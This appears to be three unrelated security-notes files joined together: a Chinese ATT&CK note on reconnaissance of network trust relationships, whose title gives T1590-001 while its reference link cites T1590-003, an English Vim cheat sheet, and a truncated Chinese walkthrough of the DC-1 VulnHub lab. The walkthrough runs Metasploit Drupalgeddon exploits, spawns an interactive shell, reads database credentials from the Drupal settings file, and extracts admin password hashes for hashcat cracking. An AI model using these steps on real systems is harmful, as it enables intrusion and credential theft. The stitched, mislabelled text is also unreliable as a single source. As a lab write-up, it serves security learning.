# T1590-001-收集目标组织网络信息-网络信任关系 ## 来自ATT&CK的描述 在入侵受害者之前,攻击者可能会收集受害者网络信任关系的信息。有关网络信任的信息可能包括各种详细信息,包括已连接(并可能提升了的)网络访问权限的第二或第三方组织/域(例如:托管服务提供商,承包商等)。 攻击者可以通过不同的方式收集这些信息,例如通过网络钓鱼诱骗收集。有关网络信任的信息也可以通过在线或其他可访问的数据集(例如:搜索公开技术数据库)暴露给攻击者。收集这些信息可能为如下活动提供可能性:其他形式的侦察活动(例如:主动扫描,或搜索开放网站/域),建立运营资源(例如:获取基础设施或入侵基础设施),或实现初始访问(例如:信任关系)。 ## 测试案例 简单举个例子:比如一些特殊行业,航空、金融、运营商,和分公司或者第三方公司之间都是专线,通过入侵分公司、第三方公司,获取权限,走专有网络进入目标网络内。 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的视野之外,从而使防御者难以发现。 检测工作可能会集中在攻击者生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1590-001-收集目标组织网络信息-域属性]] [[T1590-002-收集目标组织网络信息-DNS]] [[T1590-004-收集目标组织网络信息-网络拓扑]] [[T1590-005-收集目标组织网络信息-IP地址]] [[T1590-006-收集目标组织网络信息-网络安全设备]] ## 参考推荐 MITRE-ATT&CK-T1590-003 <https://attack.mitre.org/techniques/T1590/003/>
sec-knowleage
--- title: Vim date: 2020-11-25 18:28:43 background: bg-[#46933f] tags: - vi - text - editor - terminal - shortcut categories: - Toolkit intro: | A useful collection of [Vim](http://www.vim.org/) 8.2 quick reference cheat sheets to help you learn vim editor faster. plugins: - copyCode --- Getting Started --------------- ### Motion Diagrams {.row-span-2} ```bash ▼/▶ Cursor ▽/▷ Target ``` #### Left-right motions ```bash ┌───────────── | ├───────────── 0 $ ──────────────┐ │ ┌────────── ^ fe ────────┐ │ │ │ ┌─────── Fo te ───────┐│ │ │ │ │┌────── To 30| ───┐ ││ │ │ │ ││ ┌──── ge w ───┐ │ ││ │ │ │ ││ │ ┌── b e ─┐ │ │ ││ │ │ │ ││ │ │ ┌h l┐ │ │ │ ││ │ ▽ ▽ ▽▽ ▽ ▽ ▽▼ ▼▽ ▽ ▽ ▽ ▽▽ ▽ echo "A cheatsheet from quickref.me" ``` #### Up-down motions ```bash - SCREEN 1 START ┌─┬─────────▷ #!/usr/bin/python │ │ ┌───▷ │ │ │ print("Hello") │ │ { } ▶ print("Vim") │ │ │ print("!") │ │ └─▷ │ │ ┌───┬───▷ print("Welcome") G gg H M L k j ▶ print("to") │ │ └─▷ print("quickref.me") │ │ print("/vim") │ │ │ └─────▷ │ - SCREEN 1 END └──────────────▷ print("SCREEN 2") ``` ### Motions {.row-span-2} | Shortcut | Description | |--------------------------------|-------------------| | `h` _\|_ `j` _\|_ `k` _\|_ `l` | Arrow keys | | `<C-u>` _/_ `<C-d>` | Half-page up/down | | `<C-b>` _/_ `<C-f>` | Page up/down | {.shortcuts} #### Words{.left-text} | Shortcut | Description | |--------------|---------------------------| | `b` _/_ `w` | Previous/Next word | | `ge` _/_ `e` | Previous/Next end of word | {.shortcuts} #### Line | Shortcut | Description | |----------------------|-----------------------------| | `0` _(zero)_ _/_ `$` | Start/End of line | | `^` | Start of line _(non-blank)_ | {.shortcuts} #### Character | Shortcut | Description | |---------------|-------------------------------------| | `Fe` _/_ `fe` | Move to previous/next `e` | | `To` _/_ `to` | Move before/after previous/next `o` | | `|` _/_ `n|` | Go to first/`n`th column | {.shortcuts} #### Document | Shortcut | Description | |----------------|--------------------------| | `gg` _/_ `G` | First/Last line | | `:n` _\|_ `nG` | Go to line `n` | | `}` _/_ `{` | Next/Previous empty line | {.shortcuts} #### Window | Shortcut | Description | |-------------------------|-----------------------------| | `H` _/_ `M` _/_ `L` | Top/Middle/Bottom screen | | `zt` _/_ `zz` _/_ `zb` | Top/Center/Bottom this line | {.shortcuts} ### Insert Mode | Shortcut | Description | |------------------------|-------------------------------| | `i` _/_ `a` | Insert before/after cursor | | `I` _/_ `A` | Insert start/end of line | | `o` _/_ `O` _(letter)_ | Insert new line below/above | | `s` _/_ `S` | Delete char/line and insert | | `C` _/_ `cc` | Change to end of/current line | | `gi` | Insert at last insert point | | `Esc` _\|_ `<C-[>` | Exit insert mode | {.shortcuts} ### Saving and Exiting | Shortcut | Description | |---------------------------|-------------------------| | `:w` | Save | | `:q` | Close file | | `:wq` _\|_ `:x` _\|_ `ZZ` | Save and quit | | `:wqa` | Save and quit all files | | `:q!` _\|_ `ZQ` | Force quit | | `:qa` | Close all files | | `:qa!` | Force quit all files | | `:w` now.txt | Write to `now.txt` | | `:sav` new.txt | Save and edit `new.txt` | | `:w` !sudo tee % | Write to readonly file | {.shortcuts} ### Normal Mode | Shortcut | Description | |-----------------------|------------------------------| | `r` | Replace one character | | `R` | Enter Replace mode | | `u` _/_ `3u` | Undo changes `1` / `3` times | | `U` | Undo changes on one line | | `J` | Join with next line | | `<C-r>` _/_ 5 `<C-r>` | Redo changes `1` / `5` times | {.shortcuts} ### Cut and paste {.row-span-2} | Shortcut | Description | |------------------|-------------------------------| | `x` | Delete character _(Cut)_ | | `p` _/_ `P` | Paste after/before | | `xp` | Swap two characters | | `D` | Delete to end of line _(Cut)_ | | `dw` | Delete word _(Cut)_ | | `dd` | Delete line _(Cut)_ | | `ddp` | Swap two lines | | `yy` | Yank line _(Copy)_ | | `"*p` _\|_ `"+p` | Paste from system clipboard | | `"*y` _\|_ `"+y` | Paste to system clipboard | {.shortcuts} #### In visual mode | Shortcut | Description | |--------------|---------------------------| | `d` _\|_ `x` | Delete selection _(Cut)_ | | `s` | Replace selection | | `y` | Yank selection _(Copy)_ | {.shortcuts} ### Repeating | Shortcut | Description | |----------|---------------------------------------------| | `.` | Repeat last command | | `;` | Repeat latest `f`, `t`, `F` or `T` | | `,` | Repeat latest `f`, `t`, `F` or `T` reversed | | `&` | Repeat last `:s` | | `@:` | Repeat a command-line command | {.shortcuts} ### Visual mode | Shortcut | Description | |-------------|-------------------------| | `v` | Enter visual mode | | `V` | Enter visual line mode | | `<C-v>` | Enter visual block mode | | `ggVG` | Select all text | | `>` _/_ `<` | Shift text right/left | {.shortcuts} ### Macros | - | - | |-------|-----------------------| | `qi` | Record macro `i` | | `q` | Stop recording macro | | `@i` | Run macro `i` | | `7@i` | Run macro `i` 7 times | | `@@` | Repeat last macro | {.shortcuts} You can save macro for any letters not just `i` Vim Operators --------- ### Usage {.secondary} | Shortcut | Description | |----------|--------------| | `d` | <yel>w</yel> | | Operator | Motion | Combine [operators](#available-operators) with [motions](#motions) to use them ### Available Operators {.row-span-2} | Shortcut | Description | |----------|---------------------------------| | `d` | Delete | | `y` | Yank _(copy)_ | | `c` | Change _(delete then insert)_ | | `p` | Paste | | `=` | Formats code | | `g~` | Toggle case | | `gU` | Uppercase | | `gu` | Lowercase | | `>` | Indent right | | `<` | Indent left | | `!` | Filter through external program | ### Examples {.row-span-2} | Combination | Description | |----------------------|---------------------------------------| | `d`<yel>d</yel> | Delete current line | | `d`<yel>j</yel> | Delete two lines | | `d`<yel>w</yel> | Delete to next word | | `d`<yel>b</yel> | Delete to beginning of word | | `d`<yel>fa</yel> | Delete until `a` char | | `d`<yel>/hello</yel> | Delete until `hello` | | `c`<yel>c</yel> | Change current line, synonym with `S` | | `y`<yel>y</yel> | Copy current line | | `>`<yel>j</yel> | Indent 2 lines | | gg`d`<yel>G</yel> | Delete a complete document | | gg`=`<yel>G</yel> | Indent a complete document | | gg`y`<yel>G</yel> | Copy a whole document | {.show-header} ### Counts ``` [count] <operator> <motion> <operator> [count] <motion> ``` --- | Combination | Description | |------------------|----------------------------| | 2`d`<yel>d</yel> | Delete `2` lines | | 6`y`<yel>y</yel> | Copy `6` lines | | `d`3<yel>w</yel> | Delete `3` words | | `d`5<yel>j</yel> | Delete `5` lines downwards | | `>`4<yel>k</yel> | Indent `4` lines upwards | Vim Text objects ------------ ### Usage {.secondary} | Shortcut | Description | - | |----------|-----------------------------------------------------------|--------------| | `v` | &nbsp; &nbsp; &nbsp; &nbsp; <pur>i</pur> _/_ <pur>a</pur> | <yel>p</yel> | | Operator | <pur>i</pur>nner _/_ <pur>a</pur>round | Text object | Operate with an [operator](#available-operators) inner or around text blocks ### Text objects {.row-span-2} | Shortcut | Description | |------------------------------------------------------|----------------------------------------| | <yel>p</yel> | Paragraph | | <yel>w</yel> | Word | | <yel>W</yel> | WORD <br/>_(surrounded by whitespace)_ | | <yel>s</yel> | Sentence | | <yel>[</yel> <yel>(</yel> <yel>{</yel> <yel>\<</yel> | A [], (), or {} block | | <yel>]</yel> <yel>)</yel> <yel>}</yel> <yel>\></yel> | A [], (), or {} block | | <yel>'</yel> <yel>"</yel> <yel>\`</yel> | A quoted string | | <yel>b</yel> | A block [( | | <yel>B</yel> | A block in [{ | | <yel>t</yel> | A HTML tag block | See `:help text-objects` ### Delete | Shortcut | Description | |-----------------------------|---------------------------------------| | `d`<pur>i</pur><yel>w</yel> | Delete inner word | | `d`<pur>i</pur><yel>s</yel> | Delete inner sentence | | `d`<pur>i</pur><yel>"</yel> | Delete in quotes | | `d`<pur>a</pur><yel>"</yel> | Delete in quotes _(including quotes)_ | | `d`<pur>i</pur><yel>p</yel> | Delete a paragraph | ### Selections | Shortcut | Description | |-----------------------------------------------------|-------------------------------------------| | `v`<pur>i</pur><yel>"</yel> | Select inner quotes "`...`{.underline}" | | `v`<pur>a</pur><yel>"</yel> | Select quotes `"..."`{.underline} | | `v`<pur>i</pur><yel>[</yel> | Select inner brackets [`...`{.underline}] | | `v`<pur>a</pur><yel>[</yel> | Select brackets `[...]`{.underline} | | `v`<pur>i</pur><yel>w</yel> | Select inner word | | `v`<pur>i</pur><yel>p</yel> | Select inner paragraph | | `v`<pur>i</pur><yel>p</yel><pur>i</pur><yel>p</yel> | Select more paragraph | ### Misc | Shortcut | Description | |-----------------------------|--------------------------------------| | `c`<pur>i</pur><yel>w</yel> | Change inner word | | `c`<pur>i</pur><yel>"</yel> | Change inner quotes | | `c`<pur>i</pur><yel>t</yel> | Change inner tags (HTML) | | `c`<pur>i</pur><yel>p</yel> | Change inner paragraph | | `y`<pur>i</pur><yel>p</yel> | Yank inner paragraph | | `y`<pur>a</pur><yel>p</yel> | Yank paragraph _(including newline)_ | Vim Multiple files ------------- ### Buffers | - | - | |------------|----------------------------------| | `:e file` | Edit a file in a new buffer | | `:bn` | Go to the next buffer | | `:bp` | Go to the previous buffer | | `:bd` | Remove file from buffer list | | `:b 5` | Open buffer #5 | | `:b file` | Go to a buffer by file | | `:ls` | List all open buffers | | `:sp file` | Open and split window | | `:vs file` | Open and vertically split window | | `:hid` | Hide this buffer | | `:wn` | Write file and move to next | | `:tab ba` | Edit all buffers as tabs | ### Windows | - | - | |----------------------|-----------------------------| | `<C-w>` `s` | Split window | | `<C-w>` `v` | Split window vertically | | `<C-w>` `w` | Switch windows | | `<C-w>` `q` | Quit a window | | `<C-w>` `T` | Break out into a new tab | | `<C-w>` `x` | Swap current with next | | `<C-w>` `-` _/_ `+` | Decrease/Increase height | | `<C-w>` `<` _/_ `>` | Decrease/Increase width | | `<C-w>` `|` | Max out the width | | `<C-w>` `=` | Equally high and wide | | `<C-w>` `h` _/_ `l` | Go to the left/right window | | `<C-w>` `j` _/_ `k` | Go to the up/down window | {.shortcuts} ### Tabs | Shortcut | Description | |----------------|-----------------------------------| | `:tabe [file]` | <yel>E</yel>dit file in a new tab | | `:tabf [file]` | Open if exists in new tab | | `:tabc` | <yel>C</yel>lose current tab | | `:tabo` | Close <yel>o</yel>ther tabs | | `:tabs` | List all <yel>tabs</yel> | | `:tabr` | Go to fi<yel>r</yel>st tab | | `:tabl` | Go to <yel>l</yel>ast tab | | `:tabm 0` | <yel>M</yel>ove to position `0` | | `:tabn` | Go to <yel>n</yel>ext tab | | `:tabp` | Go to <yel>p</yel>revious tab | #### Normal mode | Shortcut | Description | |----------|-------------------------------| | `gt` | Go to <yel>n</yel>ext tab | | `gT` | Go to <yel>p</yel>revious tab | | `2gt` | Go to tab number `2` | {.shortcuts} Vim Search and Replace ------------------ ### Search | - | - | |----------|-------------------------------------| | `/foo` | Search forward | | `/foo\c` | Search forward _(case insensitive)_ | | `?foo` | Search backward | | `/\v\d+` | Search with [regex](/regex) | | `n` | Next matching search pattern | | `N` | Previous match | | `*` | Search for current word forward | | `#` | Search for current word backward | {.shortcuts} ### Replace LINE ```vim :[range]s/{pattern}/{str}/[flags] ``` --- | | | |-------------------|----------------------------------| | `:s/old/new` | Replace first | | `:s/old/new/g` | Replace all | | `:s/\vold/new/g` | Replace all with [regex](/regex) | | `:s/old/new/gc` | replace all _(Confirm)_ | | `:s/old/new/i` | Ignore case replace first | | `:2,6s/old/new/g` | Replace between lines `2`-`6` | ### Replace FILE ```vim :%s/{pattern}/{str}/[flags] ``` --- | | | |-------------------|----------------------------------| | `:%s/old/new` | Replace first | | `:%s/old/new/g` | Replace all | | `:%s/old/new/gc` | Replace all _(Confirm)_ | | `:%s/old/new/gi` | Replace all _(ignore case)_ | | `:%s/\vold/new/g` | Replace all with [regex](/regex) | ### Ranges {.row-span-2} | - | - | |---------|-------------------| | `%` | Entire file | | `’<,’>` | Current selection | | `5` | Line `5` | | `5,10` | Lines `5` to `10` | | `$` | Last line | | `2,$` | Lines `2` to Last | | `.` | Current line | | `,3` | Next `3` lines | | `-3,` | Forward `3` lines | ### Global command {.row-span-2} ```vim :[range]g/{pattern}/[command] ``` --- | | | |--------------|------------------------------------| | `:g/foo/d` | Delete lines containing `foo` | | `:g!/foo/d` | Delete lines not containing `foo` | | `:g/^\s*$/d` | Delete all blank lines | | `:g/foo/t$` | Copy lines containing `foo` to EOF | | `:g/foo/m$` | Move lines containing `foo` to EOF | | `:g/^/m0` | Reverse a file | | `:g/^/t.` | Duplicate every line | ### Inverse :g ```vim :[range]v/{pattern}/[command] ``` --- | | | |------------|------------------------------------------------------------| | `:v/foo/d` | Delete lines not containing `foo`<br/>_(also `:g!/foo/d`)_ | ### Flags | - | - | |-----|---------------------------| | `g` | Replace all occurrences | | `i` | Ignore case | | `I` | Don't ignore case | | `c` | Confirm each substitution | ### Substitute expression (magic) | - | - | |---------------|----------------------------------| | `&` _\|_ `\0` | Replace with the whole matched | | `\1`...`\9` | Replace with the group 0-9 | | `\u` | Uppercase next letter | | `\U` | Uppercase following characters | | `\l` | Lowercase next letter | | `\L` | Lowercase following characters | | `\e` | End of `\u`, `\U`, `\l` and `\L` | | `\E` | End of `\u`, `\U`, `\l` and `\L` | ### Examples {.col-span-2} ```c {.wrap} :s/a\|b/xxx\0xxx/g # Modifies "a b" to "xxxaxxx xxxbxxx" :s/test/\U& file/ # Modifies "test" to "TEST FILE" :s/\(test\)/\U\1\e file/ # Modifies "test" to "TEST file" :s/\v([abc])([efg])/\2\1/g # Modifies "af fa bg" to "fa fa gb" :s/\v\w+/\u\0/g # Modifies "bla bla" to "Bla Bla" :s/\v([ab])|([cd])/\1x/g # Modifies "a b c d" to "ax bx x x" :%s/.*/\L&/ # Modifies "HTML" to "html" :s/\v<(.)(\w*)/\u\1\L\2/g # Make every first letter of a word uppercase :%s/^\(.*\)\n\1/\1/ # Remove duplicate lines :%s/<\/\=\(\w\+\)\>/\U&/g # Convert HTML-Tags to uppercase :g/^pattern/s/$/mytext # Find and append text to the end :g/pattern/norm! @i # Run a macro on matching lines /^\(.*\)\(\r\?\n\1\)\+$ # View the duplicates lines /\v^(.*)(\r?\n\1)+$ # View the duplicates lines (very magic) :v/./,/./-j # Compress blank lines into a blank line :g/<p1>/,/<p2>/d # Delete inclusively from <p1> to <p2> ``` Vimdiff ------- ### Usage {.secondary} ```shell script $ vimdiff file1 file2 [file3] $ vim -d file1 file2 [file3] ``` ### Editing {.row-span-2} ``` :[range]diffget [bufspec] :[range]diffput [bufspec] ``` --- | Shortcut | Description | |---------------------|-------------------------| | `do` _/_ `:diffget` | Obtain (get) difference | | `dp` _/_ `:diffput` | Put difference | | `:dif` | Re-scan differences | | `:diffo` | Switch off diff mode | | `:1,$+1diffget` | Get all differences | | `ZQ` | Quit without changes | {.shortcuts} See: [Ranges](#ranges) ### Folds {.row-span-2} | Shortcut | Description | |---------------|------------------------------| | `zo` _/_ `zO` | Open | | `zc` _/_ `zC` | Close | | `za` _/_ `zA` | Toggle | | `zv` | Open folds for this line | | `zM` | Close all | | `zR` | Open all | | `zm` | Fold more _(foldlevel += 1)_ | | `zr` | Fold less _(foldlevel -= 1)_ | | `zx` | Update folds | {.shortcuts} ### Jumping <br> | Shortcut | Description | |----------|---------------------| | `]c` | Next difference | | `[c` | Previous difference | {.shortcuts} Miscellaneous ------------- ### Case {.row-span-2} | Shortcut | Description | |----------------|-------------------------| | `vU` | _Uppercase_ character | | `vu` | _Lowercase_ character | | `~` | _Toggle case_ character | | `viw` `U` | _Uppercase_ word | | `viw` `u` | _Lowercase_ word | | `viw` `~` | _Toggle case_ word | | `VU` _/_ `gUU` | _Uppercase_ line | | `Vu` _/_ `guu` | _Lowercase_ line | | `V~` _/_ `g~~` | _Toggle case_ line | | `gggUG` | _Uppercase_ all text | | `ggguG` | _Lowercase_ all text | | `ggg~G` | _Toggle case_ all text | {.shortcuts} ### Jumping | Shortcut | Description | |----------|--------------------------| | `<C-o>` | Go back to previous | | `<C-i>` | Go forward | | `gf` | Go to file in cursor | | `ga` | Display hex, ascii value | {.shortcuts} ### Misc command-lines {.row-span-2} | - | - | |----------------|--------------------------------------------| | `:h` | Help open help view | | `:edit!` | Reload current file | | `:2,8m0` | Move lines `2`-`8` to `0` | | `:noh` | Clear search highlights | | `:sort` | Sort lines | | `:ter` | Open a terminal window | | `:set paste` | Enable Insert Paste sub-mode | | `:set nopaste` | disable Insert Paste sub-mode | | `:cq` | Exiting with an error<br/>_(aborting Git)_ | ### Navigating | Shortcut | Description | |--------------------------|---------------------------| | `%` | Nearest/matching `{[()]}` | | `[(` _\|_ `[{` | Previous `(` or `{` | | `])` _\|_ `]{` | Next `)` or `}` | | `[m` | Previous method start | | `[M` | Previous method end | {.shortcuts} ### Counters | Shortcut | Description | |----------|-----------------| | `<C-a>` | Increase number | | `<C-x>` | Decrease number | {.shortcuts} ### Tags {.row-span-2 .col-span-2} | Shortcut | Description | |----------------------|-------------------------------------------------| | `:tag Classname` | Jump to first definition of Classname | | `<C-]>` | Jump to definition | | `g]` | See all definitions | | `<C-t>` | Go back to last tag | | `<C-o> <C-i>` | Back/forward | | `:tselect Classname` | Find definitions of Classname | | `:tjump Classname` | Find definitions of Classname (auto-select 1st) | {.shortcuts} ### Formatting | - | - | |---------|----------------------------------| | `:ce 8` | Center lines between `8` columns | | `:ri 4` | Right-align lines at `4` columns | | `:le` | Left-align lines | See `:help formatting` ### Marks {.col-span-2 .row-span-4} | Shortcut | Description | | --- | --- | | <code>\`^</code> | Last position of cursor in insert mode | | <code>\`.</code> | Last change in current buffer | | <code>\`"</code> | Last exited current buffer | | <code>\`0</code> | In last file edited | | <code>''</code> | Back to line in current buffer where jumped from | | <code>\`\`</code> | Back to position in current buffer where jumped from | | <code>\`[</code> | To beginning of previously changed or yanked text | | <code>\`]</code> | To end of previously changed or yanked text | | <code>\`&lt;</code> | To beginning of last visual selection | | <code>\`&gt;</code> | To end of last visual selection | | `ma` | Mark this cursor position as `a` | | <code>\`a</code> | Jump to the cursor position `a` | | `'a` | Jump to the beginning of the line with position `a` | | <code>d'a</code> | Delete from current line to line of mark `a` | | <code>d\`a</code> | Delete from current position to position of mark `a` | | <code>c'a</code> | Change text from current line to line of `a` | | <code>y\`a</code> | Yank text from current position to position of `a` | | `:marks` | List all current marks | | `:delm a` | Delete mark `a` | | `:delm a-d` | Delete marks `a`, `b`, `c`, `d` | | `:delm abc` | Delete marks `a`, `b`, `c` | {.shortcuts} ### Calculator | Shortcut | Description | |------------------|------------------| | `<C-r>` `=` 7*7 | Shows the result | | `<C-r>` `=` 10/2 | Shows the result | {.shortcuts} Do this in INSERT mode ### Shell | - | - | |--------------|--------------------------------| | `:!<shell>` | Interpret Shell Command | | `:r!<shell>` | Read in output of shell | | `:r!date` | Insert date | | `:!!date` | Replace current line with date | ### Command line | Shortcut | Description | |--------------|-------------------------------------------| | `<C-r><C-w>` | Insert current word into the command line | | `<C-r>"` | Paste from " register | | `<C-x><C-f>` | Auto-completion of path in insert mode | {.shortcuts} ### Tricks Remove duplicate lines ```shell script :sort | %!uniq -u ``` To number the lines in the file ```shell script :%!cat -n ``` Copy whole doc to clipboard ```shell script :%w !pbcopy # Mac OS X :%w !xclip -i -sel c # GNU/Linux :%w !xsel -i -b # GNU/Linux ``` Also see -------- - [Devhints](https://devhints.io/vim) _(devhints.io)_ - [Vim cheatsheet](https://vim.rtorr.com/) _(vim.rotrr.com)_ - [Vim documentation](http://vimdoc.sourceforge.net/htmldoc/) _(vimdoc.sourceforge.net)_ - [Interactive Vim tutorial](http://openvim.com/) _(openvim.com)_
sec-knowleage
# DC1-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/dc-1,292/ **Description** DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing. It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn. To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS. There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners. There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges. Depending on your skill level, you may be able to skip finding most of these flags and go straight for root. Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge. **知识点** - drupal 漏洞利用 (flag1) - Linux 提权 (flag5) - hashcat 跑密码 (flag3) - drush 使用 (补充) **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 老规矩,先进行 IP 探测,我在部署的时候使用的是 NAT 模式,这里 kali 使用 nmap 探活,当然 kali 下还有一个工具 netdiscover 点名批评一下,一点都不好用,大家不要用这个 语法 `nmap -sP <网段>/24` ```bash nmap -sP 192.168.141.0/24 ``` 可见有5个结果,去除网关和 kali 和 VM 主机以外 `192.168.141.135` 就是目标了 下面扫描开放端口,还是使用 nmap ```bash nmap -T5 -A -v -p- 192.168.141.135 ``` 扫描结果如下 ``` root@kali:~# nmap -T5 -A -v 192.168.141.135 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-31 10:48 EST NSE: Loaded 151 scripts for scanning. NSE: Script Pre-scanning. Initiating NSE at 10:48 Completed NSE at 10:48, 0.00s elapsed Initiating NSE at 10:48 Completed NSE at 10:48, 0.00s elapsed Initiating NSE at 10:48 Completed NSE at 10:48, 0.00s elapsed Initiating ARP Ping Scan at 10:48 Scanning 192.168.141.135 [1 port] Completed ARP Ping Scan at 10:48, 0.03s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:48 Completed Parallel DNS resolution of 1 host. at 10:48, 0.00s elapsed Initiating SYN Stealth Scan at 10:48 Scanning 192.168.141.135 [1000 ports] Discovered open port 111/tcp on 192.168.141.135 Discovered open port 80/tcp on 192.168.141.135 Discovered open port 22/tcp on 192.168.141.135 Completed SYN Stealth Scan at 10:48, 0.11s elapsed (1000 total ports) Initiating Service scan at 10:48 Scanning 3 services on 192.168.141.135 Completed Service scan at 10:48, 11.20s elapsed (3 services on 1 host) Initiating OS detection (try #1) against 192.168.141.135 NSE: Script scanning 192.168.141.135. Initiating NSE at 10:48 Completed NSE at 10:48, 2.60s elapsed Initiating NSE at 10:48 Completed NSE at 10:48, 0.17s elapsed Initiating NSE at 10:48 Completed NSE at 10:48, 0.00s elapsed Nmap scan report for 192.168.141.135 Host is up (0.00060s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) | 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) |_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-favicon: Unknown favicon MD5: B6341DFC213100C61DB4FB8775878CEC |_http-generator: Drupal 7 (http://drupal.org) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Welcome to Drupal Site | Drupal Site 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 44753/tcp status | 100024 1 47638/tcp6 status | 100024 1 48481/udp status |_ 100024 1 60433/udp6 status ``` 可见开放了 22、80、111 3个端口,且 80 端口运行着 Drupal 这个 CMS 那么,下面就是对目前已经收集到了信息进行进一步利用 ``` Drupal 7 漏洞利用 SSH 爆破 ``` --- # 中期-漏洞利用 从之前的 nmap 结果得知,目标 80 端口运行着 Drupal 7 版本的 CMS,那么其实有很多公开的 CVE EXP 可供使用 - CVE-2014-3704 - CVE-2018-7600 - CVE-2018-7602 - CVE-2019-6339 - CVE-2019-6341 漏洞信息和 POC 见 [BS-Exploits](../../../../RedTeam/Web安全/BS-Exploits.md#Drupal) CVE-2018-7602、CVE-2019-6339、CVE-2019-6341 需要认证,这里就懒得测了,以 CVE-2014-3704 和 CVE-2018-7600 为例,Metasploit 自带这2个漏洞的 EXP ```bash msfconsole use exploit/multi/http/drupal_drupageddon set RHOSTS 192.168.141.135 run ``` 可以看到成功弹回一个会话,这里使用 exploit/unix/webapp/drupal_drupalgeddon2 这个模块也可以成功 获取 meterpreter 会话后,先整一个 cmd shell ```bash shell ``` 整个正常交互式的 shell ```bash python -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm ``` ok,现在有了一个 www-data 用户的权限,下面开始按照描述中的找那5个 flag 文件 --- # flag1 先 find 试试 ```bash find / -name flag* ``` 当前目录下就有1个 ``` cat flag1.txt Every good CMS needs a config file - and so do you. ``` cms 的配置文件有什么东西 --- # flag2 drupal 7 的配置文件是 /sites/all/modules/domain/settings.inc ``` cat sites/all/modules/domain/settings.inc cat: sites/all/modules/domain/settings.inc: No such file or directory ``` 没有找到这个文件,甚至连 domain 目录都没有,那么这个配置文件会不会指的是 CMS 的其他配置文件,比如数据库连接的配置文件 /sites/default/settings.php ``` cat sites/default/settings.php ``` 可以看到 flag2 的内容和 mysql 数据库的账号密码 ``` Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access).What can you do with these credentials? ``` --- # flag3 配置文件都写了是 mysql,那就本地直接连接 ```bash mysql -u dbuser -p ``` 看看数据库看看表 ```bash show databases; use drupaldb; show tables; ``` ``` +-----------------------------+ | Tables_in_drupaldb | +-----------------------------+ | actions | | authmap | | batch | | block | | block_custom | | block_node_type | | block_role | | blocked_ips | | cache | | cache_block | | cache_bootstrap | | cache_field | | cache_filter | | cache_form | | cache_image | | cache_menu | | cache_page | | cache_path | | cache_update | | cache_views | | cache_views_data | | comment | | ctools_css_cache | | ctools_object_cache | | date_format_locale | | date_format_type | | date_formats | | field_config | | field_config_instance | | field_data_body | | field_data_comment_body | | field_data_field_image | | field_data_field_tags | | field_revision_body | | field_revision_comment_body | | field_revision_field_image | | field_revision_field_tags | | file_managed | | file_usage | | filter | | filter_format | | flood | | history | | image_effects | | image_styles | | menu_custom | | menu_links | | menu_router | | node | | node_access | | node_comment_statistics | | node_revision | | node_type | | queue | | rdf_mapping | | registry | | registry_file | | role | | role_permission | | search_dataset | | search_index | | search_node_links | | search_total | | semaphore | | sequences | | sessions | | shortcut_set | | shortcut_set_users | | system | | taxonomy_index | | taxonomy_term_data | | taxonomy_term_hierarchy | | taxonomy_vocabulary | | url_alias | | users | | users_roles | | variable | | views_display | | views_view | | watchdog | +-----------------------------+ ``` 查询用户名密码 ```mysql select name,pass from users; +-------+---------------------------------------------------------+ | name | pass | +-------+---------------------------------------------------------+ | | | | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | +-------+---------------------------------------------------------+ ``` 得到了密码的 hash 就得跑明文了,下面使用 hashcat 爆破 当然不能直接跑,得知道 Hash id , `hashcat --help` 查看 hash 对照表 ```bash root@kali:~# hashcat --help | grep "Drupal" 7900 | Drupal7 | Forums, CMS, E-Commerce, Frameworks ``` 这里把 hash 先写到源文件里,等下直接引用 ```bash echo "\$S\$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" > source.txt echo "\$S\$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg" >> source.txt ``` 然后找个密码表,推荐一下我自己的字典项目 